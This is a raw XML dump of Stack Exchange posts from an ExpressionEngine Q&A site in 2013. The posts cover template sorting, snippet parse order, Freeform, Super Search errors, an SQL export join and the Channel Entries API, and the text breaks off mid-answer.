  <row Id="15176" PostTypeId="1" AcceptedAnswerId="15178" CreationDate="2013-10-30T19:44:13.617" Score="1" ViewCount="180" Body="&lt;p&gt;I have one particular page that is being sorted according to the 3rd segment. If that segment doesn't exist, I'd like to have orderby revert to it's default. Basically, if {segment_3} doesn't exist, then sort this way. How would I acheive this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:channel:entries channel=&quot;news&quot; orderby=&quot;{segment_3}|author_id&quot; sort=&quot;desc&quot; limit=&quot;9&quot; paginate=&quot;bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; orderby=&quot;{segment_3} OR author_id&quot; sort=&quot;desc&quot; limit=&quot;9&quot; paginate=&quot;bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2013-10-30T21:35:05.903" Title="how to revert to default sort order if segment doesn't exist?" Tags="|channel-entries|sort|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15177" PostTypeId="2" ParentId="15157" CreationDate="2013-10-30T19:52:55.453" Score="0" Body="&lt;p&gt;I was just able to accomplish what you're after using Snippet Sync AND &lt;strong&gt;the problem (see below)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE template, I have just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{sn:snippet_1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;sn:snippet_1&lt;/code&gt;, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; limit=&quot;1&quot; paginate=&quot;both&quot; disable=&quot;categories|member_data&quot; dynamic=&quot;no&quot;}&#xA;  {sn:pagination}&#xA;  {title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;sn:pagination&lt;/code&gt;, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  &amp;lt;div class=&quot;listing-pagination&quot;&amp;gt;&#xA;      {pagination_links}&#xA;        {previous_page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot; {if current_page}class=&quot;active&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;button slim next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;        {/next_page}&#xA;      {/pagination_links}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;listing-pagination&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local&quot; class=&quot;active&quot;&amp;gt;1&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P1&quot; &amp;gt;2&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P2&quot; &amp;gt;3&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P1&quot; class=&quot;button slim next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;Inner Page&#xA;&#xA;&amp;lt;div class=&quot;listing-pagination&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local&quot; class=&quot;active&quot;&amp;gt;1&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P1&quot; &amp;gt;2&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P2&quot; &amp;gt;3&amp;lt;/a&amp;gt;&#xA;  &amp;lt;a href=&quot;http://www.starterslab.local/P1&quot; class=&quot;button slim next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOWEVER&lt;/strong&gt;, if I put my pagination code inside of &lt;code&gt;sn:snippet_1&lt;/code&gt; and my channel entries code into &lt;code&gt;sn:pagination&lt;/code&gt; I get this unparsed code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  &amp;lt;div class=&quot;listing-pagination&quot;&amp;gt;&#xA;      {pagination_links}&#xA;        {previous_page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot; &amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;button slim next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;        {/next_page}&#xA;      {/pagination_links}&#xA;  &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's why: Snippets are parsed in order among themselves. So, make sure your &lt;code&gt;sn-listing-pagination&lt;/code&gt; snippet is listed after/below &lt;code&gt;sn-listing-videos&lt;/code&gt; in EE. If not, create a new snippet for it so that it is parsed at the end.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further illustrate, below is a view of my exp_snippets table (not used the example above). Note the &lt;code&gt;snippet_id&lt;/code&gt; column. Snippets are parsed in order, from 1 to whatever you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can embed snippet id 7 into 1 and it will parse since 7 is parsed after 1. You can't do the reverse. When snippet 7 is parsed, if snippet 1's tag is embedded it will just come back unparsed, since snippet 1 has already been parsed. It won't know to re-parse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tuK45.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-30T20:54:05.747" LastActivityDate="2013-10-30T20:54:05.747" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15178" PostTypeId="2" ParentId="15176" CreationDate="2013-10-30T20:06:18.467" Score="4" Body="&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; wrap &lt;code&gt;channel:entries&lt;/code&gt; tag parameters in &lt;em&gt;simple&lt;/em&gt; conditionals. So a conditional based on a segment variable will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just an example since I'm not entirely sure I interpreted what you're after, but should give you an idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;news&quot; &#xA;    limit=&quot;9&quot; &#xA;    paginate=&quot;bottom&quot;&#xA;    sort=&quot;desc&quot;&#xA;    {if segment_3}&#xA;        orderby=&quot;{segment_3}&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;&quot;}&#xA;        orderby=&quot;author_id&quot;&#xA;    {/if}&#xA;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now that I think about it, though, since pagination is involved you will run into some troubles with this method.&lt;/strong&gt; Because even when segment_3 is blank to begin with, segment_3 won't be blank on subsequent pages (it will by P10, P20, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are other ways to accomplish this, though. &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; should do the trick:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;        {exp:channel:entries &#xA;            channel=&quot;news&quot; &#xA;            limit=&quot;9&quot; &#xA;            paginate=&quot;bottom&quot;&#xA;            sort=&quot;desc&quot;&#xA;            orderby=&quot;{segment_3}&quot;&#xA;        }&#xA;            {title}&amp;lt;br&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;    {/case}&#xA;&#xA;    {!-- segment_3 is pagination or empty --}&#xA;    {case value=&quot;#^P(\\d+)$#|''&quot;}&#xA;        {exp:channel:entries &#xA;            channel=&quot;news&quot; &#xA;            limit=&quot;9&quot; &#xA;            paginate=&quot;bottom&quot;&#xA;            sort=&quot;desc&quot;&#xA;            orderby=&quot;author_id&quot;&#xA;        }&#xA;            {title}&amp;lt;br&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the segment_3-based sorting to work you'd obviosuly want to be sure that segment_3 contained a valid value for the channel:entries &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;order_by&lt;/code&gt;&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR if this seems like too much segment-based tomfoolery...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your suggestion in the comments to use GET variables is a good idea. &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; will work great for that. So with a URL of &lt;a href=&quot;http://example.com/foo/bar?orderby=title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/foo/bar?orderby=title&lt;/a&gt; you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;news&quot; &#xA;    limit=&quot;9&quot; &#xA;    paginate=&quot;bottom&quot;&#xA;    sort=&quot;desc&quot;&#xA;    {if get:orderby}&#xA;        orderby=&quot;{get:orderby}&quot;&#xA;    {/if}&#xA;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-30T21:35:05.903" LastActivityDate="2013-10-30T21:35:05.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15179" PostTypeId="2" ParentId="15174" CreationDate="2013-10-30T20:24:26.687" Score="2" Body="&lt;p&gt;You have to wrap the element_name in quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{element_name}&quot; == &quot;Address Content&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-30T20:24:26.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15180" PostTypeId="2" ParentId="15028" CreationDate="2013-10-30T20:28:02.483" Score="1" Body="&lt;p&gt;You have to add the package path for the RTE module first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;add_package_path(PATH_MOD.'rte/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-30T20:28:02.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15181" PostTypeId="2" ParentId="15175" CreationDate="2013-10-30T20:31:12.710" Score="1" Body="&lt;p&gt;No, but since the free version is just an embed script with js and html, all you need to do is add it to your template where you want it to appear on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example embed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- START: Livefyre Embed --&amp;gt;&#xA;&amp;lt;div id=&quot;livefyre-comments&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://zor.livefyre.com/wjs/v3.0/javascripts/livefyre.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;(function () {&#xA;    var articleId = fyre.conv.load.makeArticleId(null);&#xA;    fyre.conv.load({}, [{&#xA;        el: 'livefyre-comments',&#xA;        network: &quot;livefyre.com&quot;,&#xA;        siteId: &quot;######&quot;,&#xA;        articleId: articleId,&#xA;        signed: false,&#xA;        collectionMeta: {&#xA;            articleId: articleId,&#xA;            url: fyre.conv.load.makeCollectionUrl(),&#xA;        }&#xA;    }], function() {});&#xA;}());&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- END: Livefyre Embed --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T20:31:12.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15182" PostTypeId="1" AcceptedAnswerId="15190" CreationDate="2013-10-30T20:32:03.837" Score="1" ViewCount="40" Body="&lt;p&gt;is there a way to add the top horizontal CP bar that appears in the back end to the front end as well, for logged in members to see? WordPress and Drupal both have this, trying to figure out how to do it in EE. The idea is to provide a shortcut the the backend and to the Content menu.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-10-30T22:24:03.667" Title="Adding a CP bar to the front end for logged-in members" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15183" PostTypeId="1" CreationDate="2013-10-30T20:37:32.833" Score="3" ViewCount="276" Body="&lt;p&gt;How do I make a field require with the new composer? in the past I would create the form and include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:freeform:form require_captcha=“yes” required=&quot;name|email&quot;}&lt;/code&gt; (which still work on the site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the new composer forms I try to do it the same way and I am not getting an indication to required fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:freeform:composer form_name=&quot;contact-form&quot; composer_template_name=&quot;general_template&quot;  required=&quot;name|email&quot; require_captcha=“yes”}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2272" LastEditorUserId="69" LastEditDate="2013-10-31T18:17:37.633" LastActivityDate="2013-10-31T18:17:37.633" Title="FreeForm Pro Composer require field" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15184" PostTypeId="1" CreationDate="2013-10-30T20:55:45.490" Score="1" ViewCount="346" Body="&lt;p&gt;I now have a local copy of a live EE site. Front and backend are working with no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I imported the production database I got this one alert: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ERROR in query 912] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be worried?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the first lines in the sql file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- phpMyAdmin SQL Dump&#xA;-- version 4.0.5&#xA;-- http://www.phpmyadmin.net&#xA;--&#xA;-- Host: localhost&#xA;-- Generation Time: Oct 29, 2013 at 07:18 PM&#xA;-- Server version: 5.5.29-MariaDB&#xA;-- PHP Version: 5.3.17&#xA;&#xA;SET SQL_MODE = &quot;NO_AUTO_VALUE_ON_ZERO&quot;;&#xA;SET time_zone = &quot;+00:00&quot;;&#xA;&#xA;/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;&#xA;/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;&#xA;/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;&#xA;/*!40101 SET NAMES utf8 */;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea? &lt;/p&gt;&#xA;" OwnerUserId="532" LastEditorUserId="210" LastEditDate="2013-10-31T17:04:44.220" LastActivityDate="2013-12-06T18:58:31.450" Title="One alert when importing a production database" Tags="|database|mysql|database-error|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15185" PostTypeId="2" ParentId="15135" CreationDate="2013-10-30T21:16:17.337" Score="1" Body="&lt;p&gt;As Justin said this is basically how Store 2 behaves already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price you enter for each product is the price that is displayed on your site. You can then set up a tax rate for 20% for the UK and mark it as &quot;included in price&quot;. This means all orders with a shipping address in the UK will see a 20% tax (though their order total will not increase).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All orders outside the UK will still be charged the same price, but they will not see any line items for tax included in their order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-30T21:16:17.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15186" PostTypeId="2" ParentId="15126" CreationDate="2013-10-30T21:23:05.853" Score="0" Body="&lt;p&gt;Freeform is purely a sending thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're looking to do used to be called safecracker (its just been renamed to something I can't recall ATM) - the 2 are mutually exclusive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to edit the channel entry then fire off an email .... unless I'm missing something&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-10-30T21:23:05.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15187" PostTypeId="1" AcceptedAnswerId="15188" CreationDate="2013-10-30T21:26:41.813" Score="1" ViewCount="414" Body="&lt;p&gt;I've built an accessory to allow my client to export channel entry data to a CSV.&#xA;All is working fine but they now want to add the entry status to the list of exported fields and I'm having trouble with the SQL. My select statement as it stands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;field_id_49 as 'First Name',&#xA;field_id_50 as 'Last Name',&#xA;field_id_51 as 'Email',&#xA;field_id_56 as 'Date of Birth',&#xA;field_id_53 as 'Occupation',&#xA;field_id_52 as 'Gender',&#xA;field_id_57 as 'Address',&#xA;field_id_58 as 'Address 2',&#xA;field_id_59 as 'City',&#xA;field_id_60 as 'Postal Code',&#xA;field_id_54 as 'Contact Number',&#xA;field_id_55 as 'First Aid Qualification',&#xA;field_id_61 as 'Payment Choice'&#xA;FROM exp_channel_data &#xA;WHERE channel_id = 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I need to get the status from exp.channel.titles but I'm not sure how to join it all together. I just need to return a status no matter what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="553" LastEditorUserId="210" LastEditDate="2013-10-31T03:20:18.580" LastActivityDate="2013-10-31T03:20:18.580" Title="Help with SQL to Export Channel entry status" Tags="|mysql|export|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15188" PostTypeId="2" ParentId="15187" CreationDate="2013-10-30T21:46:22.090" Score="4" Body="&lt;p&gt;This should cover it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;SELECT&#xA;    field_id_49 as 'First Name',&#xA;    field_id_50 as 'Last Name',&#xA;    field_id_51 as 'Email',&#xA;    field_id_56 as 'Date of Birth',&#xA;    field_id_53 as 'Occupation',&#xA;    field_id_52 as 'Gender',&#xA;    field_id_57 as 'Address',&#xA;    field_id_58 as 'Address 2',&#xA;    field_id_59 as 'City',&#xA;    field_id_60 as 'Postal Code',&#xA;    field_id_54 as 'Contact Number',&#xA;    field_id_55 as 'First Aid Qualification',&#xA;    field_id_61 as 'Payment Choice',&#xA;    status as 'Status'&#xA;FROM exp_channel_data as data&#xA;LEFT JOIN exp_channel_titles as titles&#xA;ON data.entry_id = titles.entry_id&#xA;WHERE data.channel_id = 13&lt;/pre&gt;&#xA;" OwnerUserId="156" LastEditorUserId="156" LastEditDate="2013-10-30T22:09:10.383" LastActivityDate="2013-10-30T22:09:10.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15189" PostTypeId="1" CreationDate="2013-10-30T22:20:37.563" Score="1" ViewCount="153" Body="&lt;p&gt;I want to re-hash this issue: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/17419/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/17419/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1052&#xA;&#xA;Column 'field_id_90' in field list is ambiguous &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems there was never a proper solution and I'm having the same issue. I can confirm (at least in my testing) that the issue is related to Matrix fields given a relevant value in Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running EE 2.7.2, SS 2.1.3 and Matrix 2.5.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My two matrix fields are: &lt;code&gt;services_about&lt;/code&gt; &amp;amp; &lt;code&gt;ct_sub_sections&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;this works:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;relevance=“title=1+services_tags=5+ct_tags=5+page_keywords=5+services_introduction=2+ct_about=1+body=1+count_words_within_words”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;this doesn’t:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;relevance=“title=1+services_tags=5+ct_tags=5+page_keywords=5+services_introduction=2+services_about =1+ct_about=1+ct_sub_sections=1+body=1+count_words_within_words”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2014-05-07T02:16:37.880" Title="Super Search DB error with Matrix fields" Tags="|matrix|database|solspace|supersearch|database-error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15190" PostTypeId="2" ParentId="15182" CreationDate="2013-10-30T22:24:03.667" Score="1" Body="&lt;p&gt;Check out this add-on, Missing Link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/missing-link&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/missing-link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1290" LastActivityDate="2013-10-30T22:24:03.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15192" PostTypeId="1" CreationDate="2013-10-30T23:10:23.747" Score="1" ViewCount="141" Body="&lt;p&gt;I have a large EE site. Its main purpose is as a directory. Listings (entries) in the directory can be created for free by any member. But I want people to have the option of upgrading their entry to a &quot;premium&quot; entry by purchasing a yearly premium subscription. (Subscriptions would &lt;em&gt;ideally&lt;/em&gt; be attached to the entry, not the the member, as it's possible for a member to own more than one entry in the directory).&#xA;Is there an add-on (or combination of add-ons) that could accomplish these steps (or something similar):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Member chooses to upgrade their entry to &quot;premium&quot; and is taken to a payment page where they pay for a one-year subscription. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once payment is done, the entry in question is altered to somehow indicate that   it's now &quot;premium&quot; - this could be a custom field, or maybe status (I need to be able to use this field or status as a sort option in Super Search results).    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When member's subscription for any entry is nearly expired, they are emailed a renewal notice with link to payment page to renew subscription.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Member could see the expiry date of current entry's premium subscription at any time&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If subscription is not renewed, listing is downgraded back to free listing (with custom field or status returned to normal)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm aware of &lt;strong&gt;Membrr&lt;/strong&gt; (&lt;a href=&quot;http://www.membrr.com&quot; rel=&quot;nofollow&quot;&gt;http://www.membrr.com&lt;/a&gt;) but I'm worried about reports of slow or non-existent support, and it's for membership subscriptions (whereas my preference is for subscriptions to be associated with entries instead). It may turn out that Membrr is the only way for me to go but I was really hoping to explore alternatives first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-11-05T17:24:39.950" Title="Is there an add-on for paid &quot;premium&quot; entry purchase/upgrade subscription management?" Tags="|add-on|membrr|subscriptions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15193" PostTypeId="1" AcceptedAnswerId="15195" CreationDate="2013-10-30T23:47:43.603" Score="3" ViewCount="1011" Body="&lt;p&gt;So I'm building a site just now that isn't EE, however, I thought this would be a good time to learn how to get data into EE using the Channel Entries API when I'm under no pressure to get the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this scenario, I'm looking to sync data from the SoundCloud API into Channel Entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the direction of resources to pour over that could help give me a starter for 10?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to sync playlists from SoundCloud that contains:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Title&lt;/li&gt;&#xA;&lt;li&gt;ID&lt;/li&gt;&#xA;&lt;li&gt;Secret URL&lt;/li&gt;&#xA;&lt;li&gt;Enabled (boolean)&lt;/li&gt;&#xA;&lt;li&gt;Private (boolean)&lt;/li&gt;&#xA;&lt;li&gt;Tracks (Grid/Matrix)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Track ID&lt;/li&gt;&#xA;&lt;li&gt;Track title&lt;/li&gt;&#xA;&lt;li&gt;Track duration&lt;/li&gt;&#xA;&lt;li&gt;Secret token&lt;/li&gt;&#xA;&lt;li&gt;Stream URL&lt;/li&gt;&#xA;&lt;li&gt;Image URL&lt;/li&gt;&#xA;&lt;li&gt;Private track (boolean)&lt;/li&gt;&#xA;&lt;li&gt;More info URL&lt;/li&gt;&#xA;&lt;li&gt;iTunes URL&lt;/li&gt;&#xA;&lt;li&gt;Amazon URL&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any guidance gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-11-20T14:02:36.637" Title="getting data into ExpressionEngine via Channel Entries API" Tags="|channel-entries|sync|channel-entries-api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15194" PostTypeId="2" ParentId="15126" CreationDate="2013-10-31T03:03:31.357" Score="0" Body="&lt;p&gt;Another potential solution is to use the Safecracker/Channel Form tag outside of the Freeform tag and use some jQuery to submit both forms when the submit button is clicked, so that the channel field is updated as well as the the form sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to make sure the forms are submitted with AJAX so you can ensure that both are completed submitting before redirecting the user.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-31T03:03:31.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15195" PostTypeId="2" ParentId="15193" CreationDate="2013-10-31T03:22:58.347" Score="6" Body="&lt;p&gt;I'm not sure there are any resources specific to this use case, but I've built quite a few add-ons which import channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fairly straightforward with just a couple caveats:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Inserting data for more advanced fieldtypes can be a bit tricky. Your best bet is to look at what fields are actually being submitted via the publish form in the control panel and replicate those data structures programatically. You can easily find some examples for specific add-ons like Playa and Matrix with a little Googling.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You always want to make sure your data array is complete, especially if you're editing an existing entry. If fields are left out of the array when editing, they will get blanked out in the database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sample Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$data = array(&#xA;    'title' 